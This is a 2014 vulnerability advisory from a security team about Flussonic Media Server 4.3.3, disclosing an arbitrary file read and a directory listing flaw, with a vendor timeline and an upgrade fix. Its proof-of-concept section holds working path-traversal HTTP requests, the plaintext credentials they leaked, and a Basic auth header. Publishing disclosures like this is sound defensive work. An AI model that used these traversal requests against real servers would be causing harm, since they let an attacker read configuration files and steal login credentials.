Flussonic Media Server 4.3.3 File Read / Directory Listing

`Document Title:  
============  
Flussonic Media Server 4.3.3 Multiple Vulnerabilities  
  
Release Date:  
===========  
June 29, 2014  
  
Product & Service Introduction:  
========================  
Flussonic is a mutli-protocol streaming server with support for many protocols, including HDS, HLS, RTMP, RTSP, HTTP, MPEG-TS. Flussonic has the capability of capturing multimedia from external sources, such as video cameras, satellite TV and other multimedia servers (Wowza, Flash Media Server and Red5).  
  
Flussonic operates on the highly flexible and fast Erlang platform that facilitates impressive performance during parallel data processing, failure safety for servers, and scaling options up to a sophisticated distributed data network.  
  
Abstract Advisory Information:  
=======================  
BGA Security Team discovered an arbitrary file read and arbitrary directory listing vulnerability in Flussonic Media Server 4.3.3  
  
Vulnerability Disclosure Timeline:  
=========================  
June 26, 2014 : Contact with Vendor  
June 26, 2014 : Vendor Response  
June 26, 2014 : Version 4.3.4 Deployed  
June 29, 2014 : Public Disclosure  
  
Discovery Status:  
=============  
Published  
  
Affected Product(s):  
===============  
Erlyvideo, LLC  
Product: Flussonic Media Server 4.1.25 - 4.3.3   
  
Exploitation Technique:  
==================  
AFR: Remote, Unauthenticated  
ADL: Remote, Authenticated  
  
Severity Level:  
===========  
High  
  
Technical Details & Description:  
========================  
1. Arbitrary File Read (Unauthenticated)  
It’s possible to read any files from the server (with the application’s user’s permissions) by a simple HTTP GET request. Flussonic’s web interface login information can be found as plaintext by reading /etc/flussonic/flussonic.conf; thus, it’s possible to login any Flussonic web interface using that method.  
  
2. Arbitrary Directory Listing (Authenticated)  
It’s possible to list any directories’ content sending a HTTP GET request to “flussonic/api/list_files” with the parameter “subpath=directory”.   
  
  
Proof of Concept (PoC):  
==================  
Proof of Concept AFR Request & Response:  
  
GET /../../../etc/flussonic/flussonic.conf HTTP/1.1  
Host: 6.6.6.100:8080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
  
HTTP/1.1 200 OK  
Connection: keep-alive  
Server: Cowboy  
Date: Thu, 26 Jun 2014 09:50:57 GMT  
Content-Length: 191  
Content-Type: text/plain  
Last-Modified: Tue, 24 Jun 2014 22:10:53 GMT  
Etag: 1452b98181c562b2e2d041a3e1fe2af0cffe8687  
  
# Default ports Flussonic M1 Media server listens on  
http 80;  
http 8080;  
rtmp 1935;  
rtsp 554;  
pulsedb /var/run/flussonic;  
edit_auth flussonic letmein!;  
  
live mylive;  
  
file vod {  
path priv;  
}  
  
2. Proof of Concept ADR Request & Response:  
  
GET /flussonic/api/list_files?subpath=../../../etc HTTP/1.1  
Host: 6.6.6.100:8080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Authorization: Basic Zmx1c3NvbmljOmxldG1laW4h  
Connection: keep-alive  
  
HTTP/1.1 200 OK  
Connection: keep-alive  
Server: Cowboy  
Date: Thu, 26 Jun 2014 11:04:12 GMT  
Content-Length: 7555  
X-Route-Time: 28  
X-Run-Time: 8090  
Content-Type: application/json  
  
{“files":[{"name":"X11","type":"directory"},{"name":"acpi","type":"directory"},{"name":"adduser.conf","type":"file","prefix":"vod"},{"name":"alternatives","type":"directory"},{"name":"apache2","type":"directory"},{"name":"apm","type":"directory"},  
  
{“name":"xml","type":"directory"},{"name":"zsh_command_not_found","type":"file","prefix":"vod"}]}  
  
  
Solution Fix & Patch:  
================  
Update version 4.3.4  
  
Security Risk:  
==========  
The risk of the vulnerabilities above estimated as high and medium.  
  
Credits & Authors:  
==============  
Bilgi Güvenliði Akademisi  
  
Disclaimer & Information:  
===================  
The information provided in this advisory is provided as it is without any warranty. BGA disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.  
  
Domain: http://bga.com.tr/advisories.html  
Social: http://twitter.com/bgasecurity  
Contact: [email protected]  
  
Copyright © 2014 | BGA  
  
  
  
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